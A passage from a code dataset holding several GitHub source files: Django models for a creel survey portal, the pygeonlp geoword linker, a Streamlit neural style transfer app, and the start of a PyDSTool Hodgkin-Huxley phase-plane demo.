day of the week of the interview log.\n Sunday=1, Saturday=7.\n\n Arguments:\n - `self`:\n \"\"\"\n dow = int(datetime.strftime(self.date, \"%w\")) + 1\n return dow\n\n def check_exception_date(self):\n \"\"\"Returns true if the date of this samlog occurs on a known exception date.\"\"\"\n exception = (\n FN025.objects.filter(season=self.season).filter(date=self.date).first()\n )\n\n return True if exception else False\n\n def check_daytype(self):\n \"\"\"get the day type associated with this interview log. The day type\n is determined by the creel, season, and date. If a record\n exsits for this date in the exception dates table (FN025) use it,\n otherwise get the day type from the FN024 table.\n\n Arguments:\n - `self`:\n\n \"\"\"\n daytype = (\n FN023.objects.filter(season=self.season)\n .filter(dow_lst__contains=self.dow)\n .first()\n )\n\n return self.daytype == daytype\n\n def check_period(self):\n \"\"\"get the period associated with this interview log. The period is\n determined by the creel, season, date, and start time.\n\n Arguments:\n - `self`:\n\n \"\"\"\n period = (\n FN024.objects.filter(daytype=self.daytype)\n .filter(prdtm0__lte=self.samtm0)\n .order_by(\"-prdtm0\")\n .first()\n )\n # return period\n return self.period == period\n\n def check_season(self):\n \"\"\"Given the project_code and date, return the corresponding season\n for this creel log by finding the season that has start and\n end dates span the date of the creel log.\n\n Arguments:\n - `self`:\n\n \"\"\"\n\n mydate = self.date\n ssn = (\n FN022.objects.filter(creel=self.creel)\n .filter(ssn_date0__lte=mydate)\n .filter(ssn_date1__gte=mydate)\n .get()\n )\n\n # True if the season is correct, false otherwise\n return self.season == ssn\n\n @property\n def stratum(self):\n \"\"\"the stratum method should return the space, mode, day type,\n period and season of an interview log, as a FishNet-2 stratum\n string of the form: \"XX_XX_XX_XX (SSN_[DayType][Period]_Area_Mode).\"\n\n \"\"\"\n myseason = self.season.ssn\n myspace = self.area.space\n myperiod = self.period.prd\n mydaytype = self.daytype.dtp\n mymode = self.mode.mode\n\n repr = \"{}_{}{}_{}_{}\".format(myseason, mydaytype, myperiod, myspace, mymode)\n return repr\n\n return self.stratum.stratum\n\n\nclass FN112(models.Model):\n \"\"\"Class to represent the activity counts associated with a creel log.\"\"\"\n\n sama = models.ForeignKey(\n FN111, related_name=\"activity_counts\", on_delete=models.CASCADE\n )\n\n atytm0 = models.TimeField(blank=False, help_text=\"Period Start\")\n atytm1 = models.TimeField(blank=False, help_text=\"Period End\")\n atycnt = models.IntegerField(default=0, help_text=\"Activity Count\")\n chkcnt = models.IntegerField(\n blank=True, null=True, default=0, help_text=\"Check Count\"\n )\n itvcnt = models.IntegerField(default=0, help_text=\"Interview Count\")\n\n atydur = models.FloatField(help_text=\"Period Duration\", default=0)\n\n slug = models.SlugField(blank=True, unique=True, editable=False)\n\n class Meta:\n app_label = \"creel_portal\"\n verbose_name = \"FN112 - Activity Count\"\n ordering = [\"sama\", \"atytm0\", \"atytm1\"]\n unique_together = [\"sama\", \"atytm0\", \"atytm1\"]\n\n def __str__(self):\n \"\"\"return the object type, project code, the interview log\n number (sama), the start time, and the end time.\n \"\"\"\n\n repr = \"ActivityCount: {}-{} {}-{}\"\n return repr.format(\n self.sama.creel.prj_cd, self.sama.sama, self.atytm0, self.atytm1\n )\n\n def save(self, *args, **kwargs):\n \"\"\" \"\"\"\n\n # to calculate the difference between times, we need to convert\n # them to date. Use the current date, it won't affect the results\n anydate = datetime.now().date()\n delta = datetime.combine(anydate, self.atytm1) - datetime.combine(\n anydate, self.atytm0\n )\n self.atydur = delta.total_seconds() / (60 * 60)\n ts = self.atytm0.strftime(\"%H:%M\")\n raw_slug = \"-\".join([self.sama.creel.prj_cd, self.sama.sama, ts])\n self.slug = slugify(raw_slug)\n\n super(FN112, self).save(*args, **kwargs)\n","repo_name":"AdamCottrill/CreelPortal","sub_path":"creel_portal/models/FN0_models.py","file_name":"FN0_models.py","file_ext":"py","file_size_in_byte":30228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5075797915","text":"from logging import getLogger\n\nfrom pygeonlp.api.node import Node\n\nlogger = getLogger(__name__)\n\n\nMAX_COMBINATIONS = 256\n\n\nclass LinkerError(RuntimeError):\n pass\n\n\nclass LinkedResults(object):\n \"\"\"\n ラティス表現からパス表現の候補を\n 次々に出力するイテレータを作成します。\n\n Examples\n --------\n >>> import pygeonlp.api as api\n >>> from pygeonlp.api.linker import LinkedResults\n >>> api.init()\n >>> for lr in LinkedResults(api.analyze('国会議事堂前まで歩きました。')):\n ... [x.simple() for x in lr]\n [\"国会議事堂前(GEOWORD:['東京地下鉄', '4号線丸ノ内線'])\", 'まで(NORMAL)', '歩き(NORMAL)', 'まし(NORMAL)', 'た(NORMAL)', '。(NORMAL)']\n [\"国会議事堂前(GEOWORD:['東京地下鉄', '9号線千代田線'])\", 'まで(NORMAL)', '歩き(NORMAL)', 'まし(NORMAL)', 'た(NORMAL)', '。(NORMAL)']\n \"\"\"\n\n def __init__(self, lattice):\n \"\"\"\n Parameters\n ----------\n lattice : list\n 入力となるラティス表現\n\n Returns\n -------\n int\n 常に 0\n \"\"\"\n self.lattice = lattice\n self.reset_counter()\n\n def __iter__(self):\n return self\n\n def __next__(self):\n \"\"\"\n カウンターが示している候補リストを返し、カウンターを次に進めます。\n \"\"\"\n output = self.get_result()\n if output is None:\n raise StopIteration()\n\n self.increment_counter()\n return output\n\n def counter(self):\n \"\"\"\n カウンターを返します。\n \"\"\"\n return self.counters\n\n def get_result(self):\n \"\"\"\n カウンターが示している候補リストを返します。\n カウンターは次に進めません。\n \"\"\"\n if self.counters[0] == -1:\n # 既に最後まで取得済みの場合は None を返す\n return None\n\n output = []\n n = 0\n while n < len(self.lattice):\n node = self.lattice[n][self.counters[n]]\n output.append(node)\n\n # 住所ノード以外が保存されているかチェック\n has_non_address_node = False\n for _node in self.lattice[n]:\n if _node.node_type != Node.ADDRESS:\n has_non_address_node = True\n break\n\n if isinstance(node.morphemes, (list, tuple,)) and \\\n has_non_address_node:\n n += len(node.morphemes)\n else:\n n += 1\n\n return output\n\n def reset_counter(self):\n \"\"\"\n カウンターを初期化します。\n \"\"\"\n self.counters = [0] * len(self.lattice)\n # 形態素ノードの種別を事前に計算する\n # 0: 非地名語のみ\n # 1: 地名語を含む(住所は含まない)\n # 2: 住所の先頭ノード\n self.node_types = [Node.NORMAL] * len(self.lattice)\n n = 0\n while n < len(self.lattice):\n nodes = self.lattice[n]\n\n for node in nodes:\n if node.node_type == Node.ADDRESS:\n self.node_types[n] = Node.ADDRESS\n break\n elif node.node_type == Node.GEOWORD:\n self.node_types[n] = Node.GEOWORD\n\n n += 1\n\n logger.debug(\"ノード種別リスト: {}\".format(self.node_types))\n\n def increment_counter(self):\n \"\"\"\n カウンターを次に進めます。\n \"\"\"\n positions = []\n pos = 0\n\n # ラティス上で地名語・住所ノード候補を含む位置のリストを作成\n # 住所ノードが選択されている場合は住所に含まれる要素はスキップ\n while pos < len(self.lattice):\n i = self.counters[pos]\n node = self.lattice[pos][i]\n next_pos = pos + 1\n\n if node.node_type == Node.ADDRESS:\n positions.append(pos)\n has_non_address_node = False\n for _node in self.lattice[pos]:\n if _node.node_type != Node.ADDRESS:\n has_non_address_node = True\n break\n\n if has_non_address_node:\n # この形態素には住所ノード以外も存在するので\n # 住所が終わる位置までスキップ\n next_pos = pos + len(node.morphemes)\n\n elif node.node_type == Node.GEOWORD:\n positions.append(pos)\n\n pos = next_pos\n\n # 位置のリストの最後尾から、カウンターを 1 増やす\n # 候補の数を超えた場合は 0 に戻し、\n # 一つ手前の位置でインクリメントを継続する\n while len(positions) > 0:\n pos = positions.pop()\n i = self.counters[pos] + 1\n if i < len(self.lattice[pos]):\n self.counters[pos] = i\n return\n else:\n self.counters[pos] = 0\n\n # インクリメントできなかった = 最後の候補に到達した場合\n # カウンターの先頭を -1 にセット\n self.counters[0] = -1\n\n\nclass Evaluator(object):\n \"\"\"\n ラティス表現から、指定したメソッドで計算したスコアの高いものから\n 順に並べたパス表現を作成します。\n\n スコアリングに独自のメソッドを利用する場合は ``scoring_method`` で指定してください。\n\n Examples\n --------\n >>> import pygeonlp.api as api\n >>> from pygeonlp.api.linker import Evaluator\n >>> api.init()\n >>> rr = Evaluator(max_results=5)\n >>> for x in rr.get(api.analyze('福島は大阪から2分です。')):\n ... (x['score'], [n.simple() for n in x['result']])\n ...\n (46, [\"福島(GEOWORD:['西日本旅客鉄道', '大阪環状線'])\", 'は(NORMAL)', \"大阪(GEOWORD:['西日本旅客鉄道', '東海道線'])\", 'から(NORMAL)', '2(NORMAL)', '分(NORMAL)', 'です(NORMAL)', '。(NORMAL)'])\n (46, [\"福島(GEOWORD:['西日本旅客鉄道', '大阪環状線'])\", 'は(NORMAL)', \"大阪(GEOWORD:['西日本旅客鉄道', '大阪環状線'])\", 'から(NORMAL)', '2(NORMAL)', '分(NORMAL)', 'です(NORMAL)', '。(NORMAL)'])\n (41, [\"福島(GEOWORD:['阪神電気鉄道', '本線'])\", 'は(NORMAL)', \"大阪(GEOWORD:['西日本旅客鉄道', '東海道線'])\", 'から(NORMAL)', '2(NORMAL)', '分(NORMAL)', 'です(NORMAL)', '。(NORMAL)'])\n (41, [\"福島(GEOWORD:['阪神電気鉄道', '本線'])\", 'は(NORMAL)', \"大阪(GEOWORD:['西日本旅客鉄道', '大阪環状線'])\", 'から(NORMAL)', '2(NORMAL)', '分(NORMAL)', 'です(NORMAL)', '。(NORMAL)'])\n (36, [\"福島(GEOWORD:['福島交通', '飯坂線'])\", 'は(NORMAL)', \"大阪(GEOWORD:['西日本旅客鉄道', '東海道線'])\", 'から(NORMAL)', '2(NORMAL)', '分(NORMAL)', 'です(NORMAL)', '。(NORMAL)'])\n\n Attributes\n ----------\n scoring_class : class instance\n スコアリングを行なうクラス。\n scoring_options : any\n スコアリングクラスの初期化に渡すオプションパラメータ。\n scorer : service.ScoringClass instance\n スコアリングを行なうクラスインスタンス。\n max_results : int\n 保持する結果の最大数。\n \"\"\"\n\n def __init__(self, scoring_class=None, scoring_options=None,\n max_results=5, max_combinations=None):\n \"\"\"\n Parameters\n ----------\n scoring_class : class, optional\n パスのスコアとノード間のスコアを計算する関数を持つ\n スコアリングクラス。\n 指定しない場合、``pygeonlp.api.scoring`` モジュール内の\n ``ScoringClass`` が利用されます。\n scoring_options : any, optional\n スコアリングクラスの初期化に渡すオプションパラメータ。\n max_results : int, optional\n 保持する結果の最大数を指定します(デフォルト = 5)���\n max_combinations : int, optional\n ノード候補の組み合わせ数の上限値。これを超える組み合わせが\n 可能な入力が与えられた場合は例外 LinkerError を発生します。\n デフォルト値は linker.MAX_COMBINATIONS です。\n \"\"\"\n from .scoring import ScoringClass\n self.scoring_class = scoring_class\n self.scoring_options = scoring_options\n self.max_results = max_results\n self.max_combinations = max_combinations\n\n if self.scoring_class is None:\n self.scorer = ScoringClass(scoring_options)\n elif isinstance(self.scoring_class, ScoringClass):\n self.scorer = self.scoring_class\n else:\n self.scorer = scoring_class(scoring_options)\n\n if self.max_combinations is None:\n self.max_combinations = MAX_COMBINATIONS\n\n def count_combinations(self, lattice):\n \"\"\"\n ラティス形式の入力に対し、組み合わせたパス表現の個数を計算します。\n\n Parameters\n ----------\n lattice : list\n 入力となるラティス表現。\n\n Return\n ------\n int\n 組み合わせの数。\n \"\"\"\n n = 1\n for i in lattice:\n n *= len(i)\n if n > 2147483647:\n break\n\n return n\n\n def get(self, lattice):\n \"\"\"\n ラティス表現を入力として、スコアリングと並べ替えを行ないます。\n\n Parameters\n ----------\n lattice : list\n 入力となるラティス表現。\n\n Return\n ------\n list\n スコアを 'score', パス表現の解析結果を 'result' に持つ\n dict のリスト。\n スコア降順にソートされ、最大 max_results 個の要素を含みます。\n \"\"\"\n results = []\n combination = self.count_combinations(lattice)\n if combination > self.max_combinations:\n raise LinkerError(\n \"組み合わせ数 {} がしきい値 {} を超えています。\".format(\n combination, self.max_combinations))\n\n lr = LinkedResults(lattice)\n for path in lr:\n score = self.scorer.path_score(path)\n new_record = {\n \"score\": score,\n \"result\": path,\n }\n simple_repr = ''.join([x.simple() for x in path])\n logger.debug(\"{} => {}\".format(simple_repr, score))\n logger.debug(\"next:{}\".format(lr.counter()))\n\n # スコアが高いものから順に最大 max_results 個の結果を保持する\n n = len(results)\n if n == 0:\n results.append(new_record)\n continue\n\n while n > 0:\n if results[n - 1]['score'] > score:\n results.insert(n, new_record)\n break\n\n n -= 1\n if n == 0:\n results.insert(n, new_record)\n\n results = results[0:self.max_results]\n\n return results\n\n def as_dict(self, lattice):\n \"\"\"\n ``get()`` と同じ処理を行ないますが、結果に含まれるノードの情報を\n JSON に変換可能な dict に変換してから返します。\n\n Parameters\n ----------\n lattice : list\n 入力となるラティス表現。\n\n Return\n ------\n list\n ``get()`` の出力結果を JSON 変換可能な形式に変換したリスト。\n \"\"\"\n results = []\n for r in self.get(lattice):\n score = r['score']\n node_list = r['result']\n dict_list = [x.as_dict() for x in node_list]\n results.append({\n \"score\": score,\n \"result\": dict_list,\n })\n\n return results\n\n def as_geojson(self, lattice):\n \"\"\"\n ``get()`` と同じ処理を行ないますが、結果に含まれるノードの情報を\n GeoJSON FeatureCollection に変換可能な dict に変換してから返します。\n\n Parameters\n ----------\n lattice : list\n 入力となるラティス表現。\n\n Return\n ------\n list\n ``get()`` の出力結果を GeoJSON 変換可能な形式に変換したリスト。\n \"\"\"\n results = []\n for r in self.get(lattice):\n score = r['score']\n node_list = r['result']\n features = [x.as_geojson() for x in node_list]\n results.append({\n \"score\": score,\n \"geojson\": {\n \"type\": \"FeatureCollection\",\n \"features\": features,\n },\n })\n\n return results\n\n @staticmethod\n def collect_geowords(result):\n \"\"\"\n パス表現の結果に含まれる地名語のセットを返します。\n\n 処理結果に含まれる地名語だけを列挙する場合に利用する簡易メソッドです。\n \"\"\"\n geowords = []\n for node in result:\n if node.node_type == Node.GEOWORD:\n geowords.append(node)\n\n return geowords\n\n @staticmethod\n def collect_addresses(result):\n \"\"\"\n パス表現の結果に含まれる住所セットを返します。\n\n 処理結果に含まれる住所だけを列挙する場合に利用する簡易メソッドです。\n \"\"\"\n addresses = []\n for node in result:\n if node.node_type == Node.ADDRESS:\n addresses.append(node)\n\n return addresses\n","repo_name":"geonlp-platform/pygeonlp","sub_path":"pygeonlp/api/linker.py","file_name":"linker.py","file_ext":"py","file_size_in_byte":13997,"program_lang":"python","lang":"ja","doc_type":"code","stars":16,"dataset":"github-code","pt":"75"} +{"seq_id":"16501384539","text":"# -*- coding: utf-8 -*-\n\nimport torch\nimport torchvision\nimport streamlit as st\nfrom PIL import Image\n\nimport nst.torch_models\nimport nst.torch_utils\n\n################################################################################\n\ndef main():\n st.markdown(\"# Neural Style Transfer\")\n\n with st.spinner(\"Loading model ...\"):\n model = _load_model(\"vgg19\")\n # st.balloons()\n\n # Content image\n content_img = st.file_uploader(\"Content Image\",\n type=[\"png\", \"jpg\", \"jpeg\"],\n key=\"content_image\")\n if content_img is not None:\n content_img = Image.open(content_img).convert(\"RGB\")\n st.image(content_img, caption=\"Content Image\")\n\n # Style image\n style_img = st.file_uploader(\"Style Image\",\n type=[\"png\", \"jpg\", \"jpeg\"],\n key=\"style_image\")\n if style_img is not None:\n style_img = Image.open(style_img).convert(\"RGB\")\n st.image(style_img, caption=\"Style Image\")\n\n # Output size & other settings\n img_width = st.sidebar.number_input(\n label=\"Width\", min_value=64, max_value=8192,\n value=1024 if content_img is None else content_img.width,\n key=\"img_width\")\n img_height = st.sidebar.number_input(\n label=\"Height\", min_value=64, max_value=8192,\n value=1024 if content_img is None else content_img.height,\n key=\"img_height\")\n\n n_iterations = st.sidebar.number_input(label=\"# Iterations\", min_value=16,\n max_value=1024, value=256)\n content_weight = st.sidebar.number_input(label=\"Content loss weight\",\n min_value=1, max_value=1000000,\n value=1)\n style_weight = st.sidebar.number_input(label=\"Style loss weight\",\n min_value=1, max_value=1000000,\n value=1000)\n if torch.cuda.is_available():\n use_gpu = st.sidebar.checkbox(\"Use GPU\", value=True)\n\n # Neural Style Transfer\n run_clicked = st.button(\"Run\")\n if run_clicked:\n if content_img is None:\n st.text(\"Please upload a content image\")\n if style_img is None:\n st.text(\"Please upload a style image\")\n if content_img is not None and style_img is not None:\n _run_nst(model=model,\n content_img=content_img.resize((img_width, img_height)),\n style_img=style_img.resize((img_width, img_height)),\n n_iterations=n_iterations,\n content_weight=content_weight,\n style_weight=style_weight,\n use_gpu=use_gpu)\n\n\n@st.cache(allow_output_mutation=True)\ndef _load_model(model_name) -> nst.torch_utils.NstModuleWrapper:\n if model_name == \"vgg19\":\n return nst.torch_models.make_vgg19_nst()\n else:\n raise ValueError(\"unknown model {}\".format(model_name))\n\n\ndef _run_nst(model, content_img, style_img, n_iterations,\n content_weight, style_weight, use_gpu):\n if use_gpu:\n device = torch.device(\"cuda\")\n else:\n device = torch.device(\"cpu\")\n\n model.to(device)\n with st.spinner(\"Computing content features ...\"):\n content_tensor = _to_tensor(content_img).to(device)\n model.set_content_image(content_tensor)\n\n with st.spinner(\"Computing style features ...\"):\n style_tensor = _to_tensor(style_img).to(device)\n model.set_style_image(style_tensor)\n\n input_img_tensor = content_tensor.clone().unsqueeze(0)\n input_img_tensor.requires_grad_()\n optimizer = torch.optim.LBFGS([input_img_tensor])\n\n pbar = st.progress(0.0)\n ptext = st.empty()\n img_result = st.empty()\n\n ptext.text(\"0/{} - Style Loss: NA - Content Loss: NA\".format(n_iterations))\n img_result.image(_to_image(input_img_tensor.squeeze(0)))\n for i in range(n_iterations):\n s_loss, c_loss = model.run_optimizer_step(input_img_tensor, optimizer,\n style_weight, content_weight)\n\n pbar.progress((i + 1) / n_iterations)\n ptext.text(\"{}/{} - Style Loss: {:.4f} - \"\n \"Content Loss: {:.4f}\".format(i + 1, n_iterations,\n s_loss, c_loss))\n img_result.image(_to_image(input_img_tensor.squeeze(0)))\n\n\ndef _to_tensor(pil_image):\n return torchvision.transforms.ToTensor()(pil_image)\n\n\ndef _to_image(tensor):\n return torchvision.transforms.ToPILImage()(tensor)\n\n\n################################################################################\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jponf/neural-style-transfer","sub_path":"run_streamlit.py","file_name":"run_streamlit.py","file_ext":"py","file_size_in_byte":4743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16380646658","text":"\"\"\"\nThis is the main run script for the detailed demo involving\nHodgkin-Huxley analysis.\n\"\"\"\n\nfrom PyDSTool.Toolbox.dssrt import *\nfrom PyDSTool.Toolbox.phaseplane import *\nimport PyDSTool as dst\nimport numpy as np\nimport scipy as sp\n\nimport matplotlib.pyplot as plt\nimport sys\n\nfrom fovea.graphics import gui\nfrom model_config import man as modelManager\nfrom model_config import name, header\nfrom HH_neuron import getHH_DSSRT, computePPlaneObjects, do_traj\nfrom fovea.common import castNull, castNullArray\nfrom math import *\n\nfrom scipy.optimize import fsolve\n\n## ----- ----- ----- ----- ----- ----- ##\n## BUILD GENERATOR OBJECT ##\n## ----- ----- ----- ----- ----- ----- ##\n\nmodel = modelManager.instances[name]\ngen = list(model.registry.values())[0]\n\n# global define for convenience\nplotter = gui.plotter\n\n# ------------------------\n\n##def test_fp(V):\n## pt = {'V': V,\n## 'K.n': gen.auxfns.K_dssrt_fn_ninf(V)+0.001,\n## 'Na.m': gen.auxfns.Na_dssrt_fn_minf(V)}\n## omega_n = da_rate_signed.calc_psi('K.n', pt)\n## omega_m = da_rate_signed.calc_psi('Na.m', pt)\n## # Vdot will be zero\n## return omega_n + omega_m\n\ndef clip_to_pt():\n \"\"\"Extract clipboard point from gui to a dictionary\"\"\"\n pt = dst.filteredDict(gui.capturedPts['Master'], ['V', 'm', 'n'])\n return {'V': pt['V'], 'Na.m': pt['m'], 'K.n': pt['n']}\n\n\nclass PPcallback(object):\n \"\"\"\n Dynamic figure axes class to support state-dependent user-interactive callbacks\n \"\"\"\n def __init__(self, xvar, num_x_points=30, num_y_points=30,\n nullcX_style=None, nullcY_style=None,\n vel_arrow_scale=1):\n self.nully = None\n self.nullx = None\n self.num_x_points = num_x_points\n self.num_y_points = num_y_points\n if nullcX_style is None:\n self.nullcX_style = 'b-'\n else:\n self.nullcX_style = nullcX_style\n if nullcY_style is None:\n self.nullcY_style = 'r-'\n else:\n self.nullcY_style = nullcY_style\n self.last_scale = None\n self.vel_arrow_scale = vel_arrow_scale\n self.first_call = True # is reset by __call__\n # gui, gen and da_reg_signed are globals\n self.loc = local_linear_2D(gen, da_reg_signed, 'V', xvar, gui.points[gui.ix],\n with_exit_auxfn=False, tol=1e-5)\n\n\n def dQ_dt(self, Qstr, ix, points):\n \"\"\"\n Utility to find finite difference of any named quantity in given points\n at index ix\n \"\"\"\n if ix == 0:\n ix = 1\n pt1 = points[ix]\n pt0 = points[ix-1]\n t1 = points.indepvararray[ix]\n t0 = points.indepvararray[ix-1]\n return (pt1[Qstr]-pt0[Qstr])/(t1-t0)\n\n\nclass PPcallback_m(PPcallback):\n def __call__(self, time, hard_reset=False):\n \"\"\"Callback 'function' to take care of refreshing and re-computing\n phase plane sub-plot when time is changed interactively.\n \"\"\"\n loc = self.loc\n #print(\"\\n\\npplane call back, mouseUp =\", gui._mouseUp)\n\n fig_struct = plotter.figs['Master']\n # combine all layer information\n dynamicData = fig_struct.layers['nullclines_mV'].data.copy()\n dynamicData.update(fig_struct.layers['horiz_PP'].data)\n\n ax = gui.dynamicPlots['nullclines_mV']\n #sc = fig_struct.layers['nullclines'].scale\n sc = [ax.get_xlim(), ax.get_ylim()]\n\n if hard_reset:\n force = True\n preComputed = False\n print(\"\\n HARD REFRESH for phase plane\")\n else:\n preComputed = False\n force = False\n # REPLACE WITH A PROPER CACHE STRUCTURE\n for key, val in dynamicData.items():\n # dynamicData.keys are 'yNull_<time>' or 'xNull' or keys from horiz_PP etc.\n # re-use computed nullclines if time is in \"cache\", i.e. it shows up in the keys\n if key[6:] == str(time):\n # cache hit!\n val['display'] = True # not clear if this updates original data structure after copy\n # also check to see whether has been rescaled\n if self.last_scale == sc:\n preComputed = True\n else:\n force = True\n elif key[:5] != 'xNull':\n # Use != to clean up collision lines and ohter nullcline that are not for\n # this time value.\n # switch off y-nullcline (V_inf) display for the other times\n # yNull stays constant so keep that display=True\n val['display'] = False\n\n pt = gui.points[gui.ix]\n\n p = fig_struct.layers['points_mV']\n p.display = True\n\n dV_dt = (pt['vinf']-pt['V'])/pt['tauv']\n dm_dt = (pt['Na.minf']-pt['Na.m'])/pt['Na.taum']\n dn_dt = (pt['K.ninf']-pt['K.n'])/pt['K.taun']\n plotter.add_data([[pt['Na.m'], pt['Na.m']+dm_dt*self.vel_arrow_scale],\n [pt['V'], pt['V']+dV_dt*self.vel_arrow_scale]],\n layer='state_vel_mV', name='state', style=vel_vec_style, force=True)\n\n dvinf_dt_n = ptsDSSRT[gui.ix]['Omega_n']\n # self.dQ_dt('vinf', gui.ix, gui.points)\n plotter.add_data([[pt['Na.m'], pt['Na.m']],\n [pt['vinf'], pt['vinf']+dvinf_dt_n*self.vel_arrow_scale]],\n layer='state_vel_mV', name='vinf', style=vinf_vec_style, force=True)\n\n if self.first_call:\n plotter.add_data([gui.points['Na.m'], gui.points['V']],\n layer='vfp_mV', name='traj', style='y')\n\n # Virtual fixed point and linearized nullclines\n if 'fast_m' in model.name:\n vfp = None\n with_jac = False\n do_fps = False\n fast_vars = ['Na.m']\n else:\n loc.analyze(pt) # this is a slow step!\n vfp = loc.fp\n with_jac = False #True\n do_fps = False #True\n fast_vars = None\n lin_ms = np.linspace(sc[0][0], sc[0][1], 3)\n lin_vinfs = [loc.lin.auxfns.vinf(m) for m in lin_ms]\n lin_minfs = [loc.lin.auxfns.fnim(m) for m in lin_ms]\n plotter.add_data([lin_ms, lin_vinfs], layer='vfp_mV', name='lin_nullV', style='b:', force=True)\n plotter.add_data([lin_ms, lin_minfs], layer='vfp_mV', name='lin_nullm', style='g:', force=True)\n\n # update (or create) points\n try:\n plotter.set_point('state_pt', Point2D(pt['Na.m'], pt['V']), 'points_mV')\n plotter.set_point('vinf_pt', Point2D(pt['Na.m'], pt['vinf']), 'points_mV')\n if vfp:\n plotter.set_point('vfp_pt', Point2D(vfp['m'], vfp['v']), 'points_mV')\n except KeyError:\n plotter.add_point(Point2D(pt['Na.m'], pt['V']),\n layer='points_mV', style='ko', name='state_pt')\n plotter.add_point(Point2D(pt['Na.m'], pt['vinf']),\n layer='points_mV', style='bx', name='vinf_pt')\n if vfp:\n plotter.add_point(Point2D(vfp['m'], vfp['v']), layer='points_mV',\n name='vfp_pt', style={'color': 'y', 'marker': 'o',\n 'markersize': 5})\n\n d = fig_struct.layers['nullclines_mV'].data\n\n if not preComputed and gui._mouseUp:\n print(\"\\nComputing phase plane...\")\n print(\" Current time = %.4f\" % (time))\n\n if self.nullx is None or force:\n # compute m nullcline this once\n only_var = None\n else:\n only_var = 'V'\n\n # refresh wait notification\n ax.text(0.05, 0.95, 'wait', transform=ax.transAxes, fontsize=22,\n color='r', fontweight='bold', va='top')\n gui.masterWin.canvas.draw()\n\n # comment out for testing - use surrogate below\n nulls = computePPlaneObjects(gen, 'Na.m', 'V', state=pt,\n num_x_points=self.num_x_points,\n num_y_points=self.num_y_points,\n only_var=only_var, with_jac=with_jac,\n do_fps=do_fps, fast_vars=fast_vars,\n subdomain={'V': sc[1],\n 'Na.m': sc[0]})\n\n # Surrogate data - much faster to test with\n #self.nully = [[-100+time, -50+time/10., 0], [0.1, 0.4, 0.8]]\n #self.nullx = [[-130, -80, 50], [0.2, 0.3, 0.4]]\n\n self.nully = castNullArray(nulls['nullcY'])\n plotter.add_data(self.nully, layer='nullclines_mV', style=self.nullcY_style,\n name='yNull_'+str(time), force=force)\n\n dssrt_data = ptsDSSRT[gui.ix]\n # ensure don't plot \"time left to horizon collision\" line if distance is negative\n if dssrt_data['d'] > 0:\n state = (pt['Na.m'], pt['V'])\n d_state = (dssrt_data['d']*sin(dssrt_data['c']), dssrt_data['d']*cos(dssrt_data['c']))\n plotter.add_data([[state[0]+d_state[0], state[0]],\n [state[1]+d_state[1], state[1]]], layer='horiz_PP',\n style=horiz_style, name='horiz_'+str(time), force=force)\n\n # delete update 'wait' notice\n ax.texts = []\n #ax.clear()\n gui.clear_axes(ax)\n\n if only_var is None:\n # nullx is added second so will be the second line\n self.nullx = castNullArray(nulls['nullcX'])\n plotter.add_data(self.nullx, layer='nullclines_mV',\n style=self.nullcX_style,\n name='xNull', force=force)\n\n #if force:\n # rescale = sc\n #else:\n # rescale = None\n gui.build_layers(['nullclines_mV', 'horiz_PP', 'points_mV',\n 'state_vel_mV', 'vfp_mV'],\n ax, rescale=sc, figure='Master')\n\n self.last_scale = sc\n print(\" Phase plane rebuild completed.\\n\")\n else:\n # just refresh display with the current selected data\n gui.clear_axes(ax)\n #if force:\n # rescale = sc\n #else:\n # rescale = None\n gui.build_layers(['nullclines_mV', 'horiz_PP', 'points_mV',\n 'state_vel_mV', 'vfp_mV'],\n ax, rescale=sc, figure='Master')\n self.last_scale = sc\n\n gui.masterWin.canvas.draw()\n self.first_call = False\n\n\nclass PPcallback_n(PPcallback):\n def __call__(self, time, hard_reset=False):\n \"\"\"Callback 'function' to take care of refreshing and re-computing\n phase plane sub-plot when time is changed interactively.\n \"\"\"\n loc = self.loc\n #print(\"\\n\\npplane call back, mouseUp =\", gui._mouseUp)\n\n fig_struct = plotter.figs['Master']\n # combine all layer information\n dynamicData = fig_struct.layers['nullclines_nV'].data.copy()\n\n ax = gui.dynamicPlots['nullclines_nV']\n #sc = fig_struct.layers['nullclines'].scale\n sc = [ax.get_xlim(), ax.get_ylim()]\n\n if hard_reset:\n force = True\n preComputed = False\n print(\"\\n HARD REFRESH for phase plane\")\n else:\n preComputed = False\n force = False\n # REPLACE WITH A PROPER CACHE STRUCTURE\n for key, val in dynamicData.items():\n # dynamicData.keys are 'yNull_<time>' or 'xNull' or keys from horiz_PP etc.\n # re-use computed nullclines if time is in \"cache\", i.e. it shows up in the keys\n if key[6:] == str(time):\n # cache hit!\n val['display'] = True # not clear if this updates original data structure after copy\n # also check to see whether has been rescaled\n if self.last_scale == sc:\n preComputed = True\n else:\n force = True\n elif key[:5] != 'xNull':\n # Use != to clean up collision lines and ohter nullcline that are not for\n # this time value.\n # switch off y-nullcline (V_inf) display for the other times\n # yNull stays constant so keep that display=True\n val['display'] = False\n\n pt = gui.points[gui.ix]\n\n p = fig_struct.layers['points_nV']\n p.display = True\n\n dV_dt = (pt['vinf']-pt['V'])/pt['tauv']\n dm_dt = (pt['Na.minf']-pt['Na.m'])/pt['Na.taum']\n dn_dt = (pt['K.ninf']-pt['K.n'])/pt['K.taun']\n plotter.add_data([[pt['K.n'], pt['K.n']+dn_dt*self.vel_arrow_scale],\n [pt['V'], pt['V']+dV_dt*self.vel_arrow_scale]],\n layer='state_vel_nV', name='state', style=vel_vec_style, force=True)\n\n dvinf_dt_m = ptsDSSRT[gui.ix]['Omega_m']\n # self.dQ_dt('vinf', gui.ix, gui.points)\n plotter.add_data([[pt['K.n'], pt['K.n']],\n [pt['vinf'], pt['vinf']+dvinf_dt_m*self.vel_arrow_scale]],\n layer='state_vel_nV', name='vinf', style=vinf_vec_style, force=True)\n\n if self.first_call:\n plotter.add_data([gui.points['K.n'], gui.points['V']],\n layer='vfp_nV', name='traj', style='y')\n plotter.add_data([gui.points['K.n'], gui.points['vinf']],\n layer='vfp_nV', name='quasiVnull', style='m--')\n\n vs = np.linspace(sc[1][0], sc[1][1], 100)\n x = dict(pt).copy()\n\n def vinf(n, v):\n x['K.n'] = n\n x['V'] = v\n x['Na.m'] = gen.auxfns.Na_dssrt_fn_minf(v)\n # assume autonomous system\n return model.Rhs(0, x, asarray=False)['V']\n\n vinfs_inv_n = np.array([fsolve(vinf, 